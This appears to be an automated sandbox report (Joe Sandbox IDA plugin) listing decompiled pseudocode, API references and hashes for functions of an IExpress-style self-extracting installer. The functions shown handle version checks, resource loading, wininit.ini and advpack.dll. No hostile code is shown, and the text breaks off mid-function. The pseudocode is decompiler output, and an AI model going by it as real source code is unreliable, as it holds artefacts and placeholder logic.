Source File: 00000000.00000002.396615809.0000000000A31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000000.00000002.396538956.0000000000A30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396668507.0000000000A38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a30000_file.jbxd

Similarity

API ID: Resource$Free$FindLoadLock_vsnprintf
String ID: UPDFILE%lu
API String ID: 2922116661-2329316264
Opcode ID: a782d35202010e145d18dd0fb6aba263385bfe4b9ca23a1fa61b2da084039b09
Instruction ID: 28d64572dd50f0ce0ae9889048602bb0c423f706b26f2ac686cf85a624aad6e7
Opcode Fuzzy Hash: a782d35202010e145d18dd0fb6aba263385bfe4b9ca23a1fa61b2da084039b09
Instruction Fuzzy Hash: 4821F171A00229ABDB14DFA49C499FFBB7CFF49710F044229FA42A7241DB759D028BE0

Uniqueness

Uniqueness Score: -1.00%

Function 00A3681F Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 81
registryCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E00A3681F(void* __ebx) {
				signed int _v8;
				char _v20;
				struct _OSVERSIONINFOA _v168;
				void* _v172;
				int* _v176;
				int _v180;
				int _v184;
				void* __edi;
				void* __esi;
				signed int _t19;
				long _t31;
				signed int _t35;
				void* _t36;
				intOrPtr _t41;
				signed int _t44;

				_t36 = __ebx;
				_t19 =  *0xa38004; // 0xb6b6972c
				_v8 = _t19 ^ _t44;
				_t41 =  *0xa381d8; // 0xfffffffe
				_t43 = 0;
				_v180 = 0xc;
				_v176 = 0;
				if(_t41 == 0xfffffffe) {
					 *0xa381d8 = 0;
					_v168.dwOSVersionInfoSize = 0x94;
					if(GetVersionExA( &_v168) == 0) {
						L12:
						_t41 =  *0xa381d8; // 0xfffffffe
					} else {
						_t41 = 1;
						if(_v168.dwPlatformId != 1 || _v168.dwMajorVersion != 4 || _v168.dwMinorVersion >= 0xa || GetSystemMetrics(0x4a) == 0 || RegOpenKeyExA(0x80000001, "Control Panel\\Desktop\\ResourceLocale", 0, 0x20019,  &_v172) != 0) {
							goto L12;
						} else {
							_t31 = RegQueryValueExA(_v172, 0xa31140, 0,  &_v184,  &_v20,  &_v180);
							_t43 = _t31;
							RegCloseKey(_v172);
							if(_t31 != 0) {
								goto L12;
							} else {
								_t40 =  &_v176;
								if(E00A366F9( &_v20,  &_v176) == 0) {
									goto L12;
								} else {
									_t35 = _v176 & 0x000003ff;
									if(_t35 == 1 || _t35 == 0xd) {
										 *0xa381d8 = _t41;
									} else {
										goto L12;
									}
								}
							}
						}
					}
				}
				return E00A36CE0(_t41, _t36, _v8 ^ _t44, _t40, _t41, _t43);
			}

0x00a3681f
0x00a3682a
0x00a36831
0x00a36836
0x00a3683c
0x00a3683e
0x00a36848
0x00a36851
0x00a3685d
0x00a36864
0x00a36876
0x00a3693a
0x00a3693a
0x00a3687c
0x00a3687e
0x00a36885
0x00000000
0x00a368d6
0x00a368f4
0x00a36900
0x00a36902
0x00a3690a
0x00000000
0x00a3690c
0x00a3690c
0x00a3691c
0x00000000
0x00a3691e
0x00a36924
0x00a3692b
0x00a36932
0x00000000
0x00000000
0x00000000
0x00a3692b
0x00a3691c
0x00a3690a
0x00a36885
0x00a36876
0x00a36951

APIs

GetVersionExA.KERNEL32(?,00000000,00000002), ref: 00A3686E
GetSystemMetrics.USER32(0000004A), ref: 00A368A7
RegOpenKeyExA.ADVAPI32(80000001,Control Panel\Desktop\ResourceLocale,00000000,00020019,?), ref: 00A368CC
RegQueryValueExA.ADVAPI32(?,00A31140,00000000,?,?,0000000C), ref: 00A368F4
RegCloseKey.ADVAPI32(?), ref: 00A36902

Part of subcall function 00A366F9: CharNextA.USER32(?,00000001,00000000,00000000,?,?,?,00A3691A), ref: 00A36741

Strings

Control Panel\Desktop\ResourceLocale, xrefs: 00A368C2

Memory Dump Source

Source File: 00000000.00000002.396615809.0000000000A31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000000.00000002.396538956.0000000000A30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396668507.0000000000A38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a30000_file.jbxd

Similarity

API ID: CharCloseMetricsNextOpenQuerySystemValueVersion
String ID: Control Panel\Desktop\ResourceLocale
API String ID: 3346862599-1109908249
Opcode ID: 7bc293b771e212913f2cf32ab61eb20c772b9feef098d37f3f957622bf379370
Instruction ID: 5884c6b52a725b82cde2b163f8f4a09ad3ac4ba9856ab38f1d6c2cb5429cf578
Opcode Fuzzy Hash: 7bc293b771e212913f2cf32ab61eb20c772b9feef098d37f3f957622bf379370
Instruction Fuzzy Hash: 5A319331A00328EFDB31CB51CC45BAAB778FB45764F1041A5F94DA6250DB709E86CF52

Uniqueness

Uniqueness Score: -1.00%

Function 00A33A3F Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 73
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00A33A3F(void* __eflags) {
				void* _t3;
				void* _t9;
				CHAR* _t16;

				_t16 = "LICENSE";
				_t1 = E00A3468F(_t16, 0, 0) + 1; // 0x1
				_t3 = LocalAlloc(0x40, _t1);
				 *0xa38d4c = _t3;
				if(_t3 != 0) {
					_t19 = _t16;
					if(E00A3468F(_t16, _t3, _t28) != 0) {
						if(lstrcmpA( *0xa38d4c, "<None>") == 0) {
							LocalFree( *0xa38d4c);
							L9:
							 *0xa39124 = 0;
							return 1;
						}
						_t9 = E00A36517(_t19, 0x7d1, 0, E00A33100, 0, 0);
						LocalFree( *0xa38d4c);
						if(_t9 != 0) {
							goto L9;
						}
						 *0xa39124 = 0x800704c7;
						L2:
						return 0;
					}
					E00A344B9(0, 0x4b1, 0, 0, 0x10, 0);
					LocalFree( *0xa38d4c);
					 *0xa39124 = 0x80070714;
					goto L2;
				}
				E00A344B9(0, 0x4b5, 0, 0, 0x10, 0);
				 *0xa39124 = E00A36285();
				goto L2;
			}

0x00a33a46
0x00a33a57
0x00a33a5d
0x00a33a63
0x00a33a6a
0x00a33a91
0x00a33a9a
0x00a33ad8
0x00a33b13
0x00a33b19
0x00a33b1b
0x00000000
0x00a33b21
0x00a33ae7
0x00a33af4
0x00a33afc
0x00000000
0x00000000
0x00a33afe
0x00a33a87
0x00000000
0x00a33a87
0x00a33aa8
0x00a33ab3
0x00a33ab9
0x00000000
0x00a33ab9
0x00a33a78
0x00a33a82
0x00000000

APIs

Part of subcall function 00A3468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00A346A0
Part of subcall function 00A3468F: SizeofResource.KERNEL32(00000000,00000000,?,00A32D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00A346A9
Part of subcall function 00A3468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00A346C3
Part of subcall function 00A3468F: LoadResource.KERNEL32(00000000,00000000,?,00A32D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00A346CC
Part of subcall function 00A3468F: LockResource.KERNEL32(00000000,?,00A32D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00A346D3
Part of subcall function 00A3468F: memcpy_s.MSVCRT ref: 00A346E5
Part of subcall function 00A3468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 00A346EF

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000,00A32F64,?,00000002,00000000), ref: 00A33A5D
LocalFree.KERNEL32(00000000,00000000,00000010,00000000,00000000), ref: 00A33AB3

Part of subcall function 00A344B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00A34518
Part of subcall function 00A344B9: MessageBoxA.USER32(?,?,zhiga,00010010), ref: 00A34554

Part of subcall function 00A36285: GetLastError.KERNEL32(00A35BBC), ref: 00A36285

lstrcmpA.KERNEL32(<None>,00000000), ref: 00A33AD0
LocalFree.KERNEL32 ref: 00A33B13

Part of subcall function 00A36517: FindResourceA.KERNEL32(00A30000,000007D6,00000005), ref: 00A3652A
Part of subcall function 00A36517: LoadResource.KERNEL32(00A30000,00000000,?,?,00A32EE8,00000000,00A319E0,00000547,0000083E,?,?,?,?,?,?,?), ref: 00A36538
Part of subcall function 00A36517: DialogBoxIndirectParamA.USER32(00A30000,00000000,00000547,00A319E0,00000000), ref: 00A36557
Part of subcall function 00A36517: FreeResource.KERNEL32(00000000,?,?,00A32EE8,00000000,00A319E0,00000547,0000083E,?,?,?,?,?,?,?,00000002), ref: 00A36560

LocalFree.KERNEL32(00000000,00A33100,00000000,00000000), ref: 00A33AF4

Strings

LICENSE, xrefs: 00A33A46
<None>, xrefs: 00A33AC5

Memory Dump Source

Source File: 00000000.00000002.396615809.0000000000A31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000000.00000002.396538956.0000000000A30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396668507.0000000000A38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a30000_file.jbxd

Similarity

API ID: Resource$Free$Local$FindLoad$AllocDialogErrorIndirectLastLockMessageParamSizeofStringlstrcmpmemcpy_s
String ID: <None>$LICENSE
API String ID: 2414642746-383193767
Opcode ID: 51b406b0b747f89763896a9a02abac47bca2d112b82ca740ab4b6a2d6e8b87d5
Instruction ID: 314fa9d740ce95224728581221c303ae6da40cf7b4e590060b1631b9755e9901
Opcode Fuzzy Hash: 51b406b0b747f89763896a9a02abac47bca2d112b82ca740ab4b6a2d6e8b87d5
Instruction Fuzzy Hash: 9E11EC317042117BDB24DFB2AD0AE1779BDDBE9B40F10453EB581E61A0DFBD88029620

Uniqueness

Uniqueness Score: -1.00%

Function 00A324E0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E00A324E0(void* __ebx) {
				signed int _v8;
				char _v268;
				void* __edi;
				void* __esi;
				signed int _t7;
				void* _t20;
				long _t26;
				signed int _t27;

				_t20 = __ebx;
				_t7 =  *0xa38004; // 0xb6b6972c
				_v8 = _t7 ^ _t27;
				_t25 = 0x104;
				_t26 = 0;
				if(GetWindowsDirectoryA( &_v268, 0x104) != 0) {
					E00A3658A( &_v268, 0x104, "wininit.ini");
					WritePrivateProfileStringA(0, 0, 0,  &_v268);
					_t25 = _lopen( &_v268, 0x40);
					if(_t25 != 0xffffffff) {
						_t26 = _llseek(_t25, 0, 2);
						_lclose(_t25);
					}
				}
				return E00A36CE0(_t26, _t20, _v8 ^ _t27, 0x104, _t25, _t26);
			}

0x00a324e0
0x00a324eb
0x00a324f2
0x00a324f7
0x00a32504
0x00a3250e
0x00a3251d
0x00a3252c
0x00a32541
0x00a32546
0x00a32553
0x00a32555
0x00a32555
0x00a32546
0x00a3256c

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104,00000000,00000000), ref: 00A32506
WritePrivateProfileStringA.KERNEL32(00000000,00000000,00000000,?), ref: 00A3252C
_lopen.KERNEL32(?,00000040), ref: 00A3253B
_llseek.KERNEL32(00000000,00000000,00000002), ref: 00A3254C
_lclose.KERNEL32(00000000), ref: 00A32555

Strings

wininit.ini, xrefs: 00A32510

Memory Dump Source

Source File: 00000000.00000002.396615809.0000000000A31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000000.00000002.396538956.0000000000A30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396668507.0000000000A38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a30000_file.jbxd

Similarity

API ID: DirectoryPrivateProfileStringWindowsWrite_lclose_llseek_lopen
String ID: wininit.ini
API String ID: 3273605193-4206010578
Opcode ID: ce28762b34c26015e3c36914a7e44b5ae193a2a869fd970663750a5075090f2b
Instruction ID: 7458fcf527c7879fccd4a81f1122f076ee6270c30ae781b65f4c24b1cdf98920
Opcode Fuzzy Hash: ce28762b34c26015e3c36914a7e44b5ae193a2a869fd970663750a5075090f2b
Instruction Fuzzy Hash: 390171326001286BC724DBA59D0DEDFBBBCEB96761F000165FA89D3190DE748E46CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00A336EE Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 243
windowCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E00A336EE(CHAR* __ecx) {
				signed int _v8;
				char _v268;
				struct _OSVERSIONINFOA _v416;
				signed int _v420;
				signed int _v424;
				CHAR* _v428;
				CHAR* _v432;
				signed int _v436;
				CHAR* _v440;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t72;
				CHAR* _t77;
				CHAR* _t91;
				CHAR* _t94;
				int _t97;
				CHAR* _t98;
				signed char _t99;
				CHAR* _t104;
				signed short _t107;
				signed int _t109;
				short _t113;
				void* _t114;
				signed char _t115;
				short _t119;
				CHAR* _t123;
				CHAR* _t124;
				CHAR* _t129;
				signed int _t131;
				signed int _t132;
				CHAR* _t135;
				CHAR* _t138;
				signed int _t139;

				_t72 =  *0xa38004; // 0xb6b6972c
				_v8 = _t72 ^ _t139;
				_v416.dwOSVersionInfoSize = 0x94;
				_t115 = __ecx;
				_t135 = 0;
				_v432 = __ecx;
				_t138 = 0;
				if(GetVersionExA( &_v416) != 0) {
					_t133 = _v416.dwMajorVersion;
					_t119 = 2;
					_t77 = _v416.dwPlatformId - 1;
					__eflags = _t77;
					if(_t77 == 0) {
						_t119 = 0;
						__eflags = 1;
						 *0xa38184 = 1;
						 *0xa38180 = 1;
						L13:
						 *0xa39a40 = _t119;
						L14:
						__eflags =  *0xa38a34 - _t138; // 0x0
						if(__eflags != 0) {
							goto L66;
						}
						__eflags = _t115;
						if(_t115 == 0) {
							goto L66;
						}
						_v428 = _t135;
						__eflags = _t119;
						_t115 = _t115 + ((0 | _t119 != 0x00000000) - 0x00000001 & 0x0000003c) + 4;
						_t11 =  &_v420;
						 *_t11 = _v420 & _t138;
						__eflags =  *_t11;
						_v440 = _t115;
						do {
							_v424 = _t135 * 0x18;
							_v436 = E00A32A89(_v416.dwMajorVersion, _v416.dwMinorVersion,  *((intOrPtr*)(_t135 * 0x18 + _t115)),  *((intOrPtr*)(_t135 * 0x18 + _t115 + 4)));
							_t91 = E00A32A89(_v416.dwMajorVersion, _v416.dwMinorVersion,  *((intOrPtr*)(_v424 + _t115 + 0xc)),  *((intOrPtr*)(_v424 + _t115 + 0x10)));
							_t123 = _v436;
							_t133 = 0x54d;
							__eflags = _t123;
							if(_t123 < 0) {
								L32:
								__eflags = _v420 - 1;
								if(_v420 == 1) {
									_t138 = 0x54c;
									L36:
									__eflags = _t138;
									if(_t138 != 0) {
										L40:
										__eflags = _t138 - _t133;
										if(_t138 == _t133) {
											L30:
											_v420 = _v420 & 0x00000000;
											_t115 = 0;
											_v436 = _v436 & 0x00000000;
											__eflags = _t138 - _t133;
											_t133 = _v432;
											if(__eflags != 0) {
												_t124 = _v440;
											} else {
												_t124 = _t133[0x80] + 0x84 + _t135 * 0x3c + _t133;
												_v420 =  &_v268;
											}
											__eflags = _t124;
											if(_t124 == 0) {
												_t135 = _v436;
											} else {
												_t99 = _t124[0x30];
												_t135 = _t124[0x34] + 0x84 + _t133;
												__eflags = _t99 & 0x00000001;
												if((_t99 & 0x00000001) == 0) {
													asm("sbb ebx, ebx");
													_t115 =  ~(_t99 & 2) & 0x00000101;
												} else {
													_t115 = 0x104;
												}
											}
											__eflags =  *0xa38a38 & 0x00000001;
											if(( *0xa38a38 & 0x00000001) != 0) {
												L64:
												_push(0);
												_push(0x30);
												_push(_v420);
												_push("zhiga");
												goto L65;
											} else {
												__eflags = _t135;
												if(_t135 == 0) {
													goto L64;
												}
												__eflags =  *_t135;
												if( *_t135 == 0) {
													goto L64;
												}
												MessageBeep(0);
												_t94 = E00A3681F(_t115);
												__eflags = _t94;
												if(_t94 == 0) {
													L57:
													0x180030 = 0x30;
													L58:
													_t97 = MessageBoxA(0, _t135, "zhiga", 0x00180030 | _t115);
													__eflags = _t115 & 0x00000004;
													if((_t115 & 0x00000004) == 0) {
														__eflags = _t115 & 0x00000001;
														if((_t115 & 0x00000001) == 0) {
															goto L66;
														}
														__eflags = _t97 - 1;
														L62:
														if(__eflags == 0) {
															_t138 = 0;
														}
														goto L66;
													}
													__eflags = _t97 - 6;
													goto L62;
												}
												_t98 = E00A367C9(_t124, _t124);
												__eflags = _t98;
												if(_t98 == 0) {
													goto L57;
												}
												goto L58;
											}
										}
										__eflags = _t138 - 0x54c;
										if(_t138 == 0x54c) {
											goto L30;
										}
										__eflags = _t138;
										if(_t138 == 0) {
											goto L66;
										}
										_t135 = 0;
										__eflags = 0;
										goto L44;
									}
									L37:
									_t129 = _v432;
									__eflags = _t129[0x7c];
									if(_t129[0x7c] == 0) {
										goto L66;
									}
									_t133 =  &_v268;
									_t104 = E00A328E8(_t129,  &_v268, _t129,  &_v428);
									__eflags = _t104;
									if(_t104 != 0) {
										goto L66;
									}
									_t135 = _v428;
									_t133 = 0x54d;
									_t138 = 0x54d;
									goto L40;
								}
								goto L33;
							}
							__eflags = _t91;
							if(_t91 > 0) {
								goto L32;
							}
							__eflags = _t123;
							if(_t123 != 0) {
								__eflags = _t91;
								if(_t91 != 0) {
									goto L37;
								}
								__eflags = (_v416.dwBuildNumber & 0x0000ffff) -  *((intOrPtr*)(_v424 + _t115 + 0x14));
								L27:
								if(__eflags <= 0) {
									goto L37;
								}
								L28:
								__eflags = _t135;
								if(_t135 == 0) {
									goto L33;
								}
								_t138 = 0x54c;
								goto L30;
							}
							__eflags = _t91;
							_t107 = _v416.dwBuildNumber;
							if(_t91 != 0) {
								_t131 = _v424;
								__eflags = (_t107 & 0x0000ffff) -  *((intOrPtr*)(_t131 + _t115 + 8));
								if((_t107 & 0x0000ffff) >=  *((intOrPtr*)(_t131 + _t115 + 8))) {
									goto L37;
								}
								goto L28;
							}
							_t132 = _t107 & 0x0000ffff;
							_t109 = _v424;
							__eflags = _t132 -  *((intOrPtr*)(_t109 + _t115 + 8));
							if(_t132 <  *((intOrPtr*)(_t109 + _t115 + 8))) {
								goto L28;
							}
							__eflags = _t132 -  *((intOrPtr*)(_t109 + _t115 + 0x14));
							goto L27;
							L33:
							_t135 =  &(_t135[1]);
							_v428 = _t135;
							_v420 = _t135;
							__eflags = _t135 - 2;
						} while (_t135 < 2);
						goto L36;
					}
					__eflags = _t77 == 1;
					if(_t77 == 1) {
						 *0xa39a40 = _t119;
						 *0xa38184 = 1;
						 *0xa38180 = 1;
						__eflags = _t133 - 3;
						if(_t133 > 3) {
							__eflags = _t133 - 5;
							if(_t133 < 5) {
								goto L14;
							}
							_t113 = 3;
							_t119 = _t113;
							goto L13;
						}
						_t119 = 1;
						_t114 = 3;
						 *0xa39a40 = 1;
						__eflags = _t133 - _t114;
						if(__eflags < 0) {
							L9:
							 *0xa38184 = _t135;
							 *0xa38180 = _t135;
							goto L14;
						}
						if(__eflags != 0) {
							goto L14;
						}
						__eflags = _v416.dwMinorVersion - 0x33;
						if(_v416.dwMinorVersion >= 0x33) {
							goto L14;
						}
						goto L9;
					}
					_t138 = 0x4ca;
					goto L44;
				} else {
					_t138 = 0x4b4;
					L44:
					_push(_t135);
					_push(0x10);
					_push(_t135);
					_push(_t135);
					L65:
					_t133 = _t138;
					E00A344B9(0, _t138);
					L66:
					return E00A36CE0(0 | _t138 == 0x00000000, _t115, _v8 ^ _t139, _t133, _t135, _t138);
				}
			}

0x00a336f9
0x00a33700
0x00a3370c
0x00a33716
0x00a33718
0x00a3371b
0x00a33721
0x00a3372b
0x00a3373d
0x00a33745
0x00a33746
0x00a33746
0x00a33749
0x00a337ab
0x00a337ad
0x00a337ae
0x00a337b3
0x00a337b8
0x00a337b8
0x00a337bf
0x00a337bf
0x00a337c5
0x00000000
0x00000000
0x00a337cb
0x00a337cd
0x00000000
0x00000000
0x00a337d5
0x00a337db
0x00a337e8
0x00a337ea
0x00a337ea
0x00a337ea
0x00a337f0
0x00a337f6
0x00a33805
0x00a33817
0x00a3382b
0x00a33830
0x00a33836
0x00a3383b
0x00a3383d
0x00a338eb
0x00a338eb
0x00a338f2
0x00a3390c
0x00a33911
0x00a33911
0x00a33913
0x00a3394d
0x00a3394d
0x00a3394f
0x00a338a9
0x00a338a9
0x00a338b0
0x00a338b2
0x00a338b9
0x00a338bb
0x00a338c1
0x00a33975
0x00a338c7
0x00a338de
0x00a338e0
0x00a338e0
0x00a3397b
0x00a3397d
0x00a339a9
0x00a3397f
0x00a33982
0x00a3398b
0x00a3398d
0x00a3398f
0x00a3399f
0x00a339a1
0x00a33991
0x00a33991
0x00a33991
0x00a3398f
0x00a339af
0x00a339b6
0x00a33a0f
0x00a33a0f
0x00a33a11
0x00a33a13
0x00a33a19
0x00000000
0x00a339b8
0x00a339b8
0x00a339ba
0x00000000
0x00000000
0x00a339bc
0x00a339bf
0x00000000
0x00000000
0x00a339c3
0x00a339c9
0x00a339ce
0x00a339d0
0x00a339e3
0x00a339e5
0x00a339e6
0x00a339f1
0x00a339f7
0x00a339fa
0x00a33a01
0x00a33a04
0x00000000
0x00000000
0x00a33a06
0x00a33a09
0x00a33a09
0x00a33a0b
0x00a33a0b
0x00000000
0x00a33a09
0x00a339fc
0x00000000
0x00a339fc
0x00a339d3
0x00a339d8
0x00a339da
0x00000000
0x00000000
0x00000000
0x00a339dc
0x00a339b6
0x00a33955
0x00a3395b
0x00000000
0x00000000
0x00a33961
0x00a33963
0x00000000
0x00000000
0x00a33969
0x00a33969
0x00000000
0x00a33969
0x00a33915
0x00a33915
0x00a3391b
0x00a3391f
0x00000000
0x00000000
0x00a3392d
0x00a33933
0x00a33938
0x00a3393a
0x00000000
0x00000000
0x00a33940
0x00a33946
0x00a3394b
0x00000000
0x00a3394b
0x00000000
0x00a338f2
0x00a33843
0x00a33845
0x00000000
0x00000000
0x00a3384b
0x00a3384d
0x00a33883
0x00a33885
0x00000000
0x00000000
0x00a3389a
0x00a3389e
0x00a3389e
0x00000000
0x00000000
0x00a338a0
0x00a338a0
0x00a338a2
0x00000000
0x00000000
0x00a338a4
0x00000000
0x00a338a4
0x00a3384f
0x00a33851
0x00a33857
0x00a3386e
0x00a33877
0x00a3387b
0x00000000
0x00000000
0x00000000
0x00a33881
0x00a33859
0x00a3385c
0x00a33862
0x00a33866
0x00000000
0x00000000
0x00a33868
0x00000000
0x00a338f4
0x00a338f4
0x00a338f5
0x00a338fb
0x00a33901
0x00a33901
0x00000000
0x00a3390a
0x00a3374b
0x00a3374e
0x00a3375c
0x00a33764
0x00a33769
0x00a3376e
0x00a33771
0x00a3379c
0x00a3379f
0x00000000
0x00000000
0x00a337a3
0x00a337a4
0x00000000
0x00a337a4
0x00a33773
0x00a33777
0x00a33778
0x00a3377f
0x00a33781
0x00a3378e
0x00a3378e
0x00a33794
0x00000000
0x00a33794
0x00a33783
0x00000000
0x00000000
0x00a33785
0x00a3378c
0x00000000
0x00000000
0x00000000
0x00a3378c
0x00a33750
0x00000000
0x00a3372d
0x00a3372d
0x00a3396b
0x00a3396b
0x00a3396c
0x00a3396e
0x00a3396f
0x00a33a1e
0x00a33a1e
0x00a33a22
0x00a33a27
0x00a33a3e
0x00a33a3e

APIs

GetVersionExA.KERNEL32(?,00000000,?,?), ref: 00A33723
MessageBeep.USER32(00000000), ref: 00A339C3
MessageBoxA.USER32(00000000,00000000,zhiga,00000030), ref: 00A339F1

Strings

3, xrefs: 00A33785
zhiga, xrefs: 00A339E9, 00A33A19

Memory Dump Source

Source File: 00000000.00000002.396615809.0000000000A31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000000.00000002.396538956.0000000000A30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396668507.0000000000A38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a30000_file.jbxd

Similarity

API ID: Message$BeepVersion
String ID: 3$zhiga
API String ID: 2519184315-2183486482
Opcode ID: 829d40137bb1fc5534882299f31e338badf55c22203f852c036142d259d4cd53
Instruction ID: 22bcec59d7ccd00eaf3f9d6d5ea68f6caade5d32632fc74dfdae7d15e3cd87e4
Opcode Fuzzy Hash: 829d40137bb1fc5534882299f31e338badf55c22203f852c036142d259d4cd53
Instruction Fuzzy Hash: 04911272E092249FEF34CB25CD91BAAB7B0AF45340F1541A9F889EB251DB718F81CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00A36495 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 41
libraryCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E00A36495(void* __ebx, void* __ecx, void* __esi, void* __eflags) {
				signed int _v8;
				char _v268;
				void* __edi;
				signed int _t9;
				signed char _t14;
				struct HINSTANCE__* _t15;
				void* _t18;
				CHAR* _t26;
				void* _t27;
				signed int _t28;

				_t27 = __esi;
				_t18 = __ebx;
				_t9 =  *0xa38004; // 0xb6b6972c
				_v8 = _t9 ^ _t28;
				_push(__ecx);
				E00A31781( &_v268, 0x104, __ecx, "C:\Users\FRONTD~1\AppData\Local\Temp\IXP000.TMP\");
				_t26 = "advpack.dll";
				E00A3658A( &_v268, 0x104, _t26);
				_t14 = GetFileAttributesA( &_v268);
				if(_t14 == 0xffffffff || (_t14 & 0x00000010) != 0) {
					_t15 = LoadLibraryA(_t26);
				} else {
					_t15 = LoadLibraryExA( &_v268, 0, 8);
				}
				return E00A36CE0(_t15, _t18, _v8 ^ _t28, 0x104, _t26, _t27);
			}

0x00a36495
0x00a36495
0x00a364a0
0x00a364a7
0x00a364ab
0x00a364bd
0x00a364c2
0x00a364d3
0x00a364df
0x00a364e8
0x00a36502
0x00a364ee
0x00a364f9
0x00a364f9
0x00a36516

APIs

GetFileAttributesA.KERNEL32(?,advpack.dll,?,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,?,00000000), ref: 00A364DF
LoadLibraryExA.KERNEL32(?,00000000,00000008,?,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,?,00000000), ref: 00A364F9
LoadLibraryA.KERNEL32(advpack.dll,?,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,?,00000000), ref: 00A36502

Strings

advpack.dll, xrefs: 00A364C2, 00A364CD, 00A36501
C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 00A364AC

Memory Dump Source

Source File: 00000000.00000002.396615809.0000000000A31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000000.00000002.396538956.0000000000A30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396668507.0000000000A38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a30000_file.jbxd

Similarity

API ID: LibraryLoad$AttributesFile
String ID: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\$advpack.dll
API String ID: 438848745-726598030
Opcode ID: e7ae2a6dccf75341262448d64a9903ac7ad3e7e1a9cb4744b9722357e2fee70a
Instruction ID: c5dc7c6c87150e8f5e6849cc72b37b3bb7fea438c850c1764bca6bd985832f34
Opcode Fuzzy Hash: e7ae2a6dccf75341262448d64a9903ac7ad3e7e1a9cb4744b9722357e2fee70a
Instruction Fuzzy Hash: CC01F470A00108BBDB54DBA4DC49EEEB778EB61311F5002A9F5C5921D0DFB09E8ACA51

Uniqueness

Uniqueness Score: -1.00%

Function 00A328E8 Relevance: 7.6, APIs: 5, Instructions: 140
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00A328E8(intOrPtr __ecx, char* __edx, intOrPtr* _a8) {
				void* _v8;
				char* _v12;
				intOrPtr _v16;
				void* _v20;
				intOrPtr _v24;
				int _v28;
				int _v32;
				void* _v36;
				int _v40;
				void* _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				long _t68;
				void* _t70;
				void* _t73;
				void* _t79;
				void* _t83;
				void* _t87;
				void* _t88;
				intOrPtr _t93;
				intOrPtr _t97;
				intOrPtr _t99;
				int _t101;
				void* _t103;
				void* _t106;
				void* _t109;
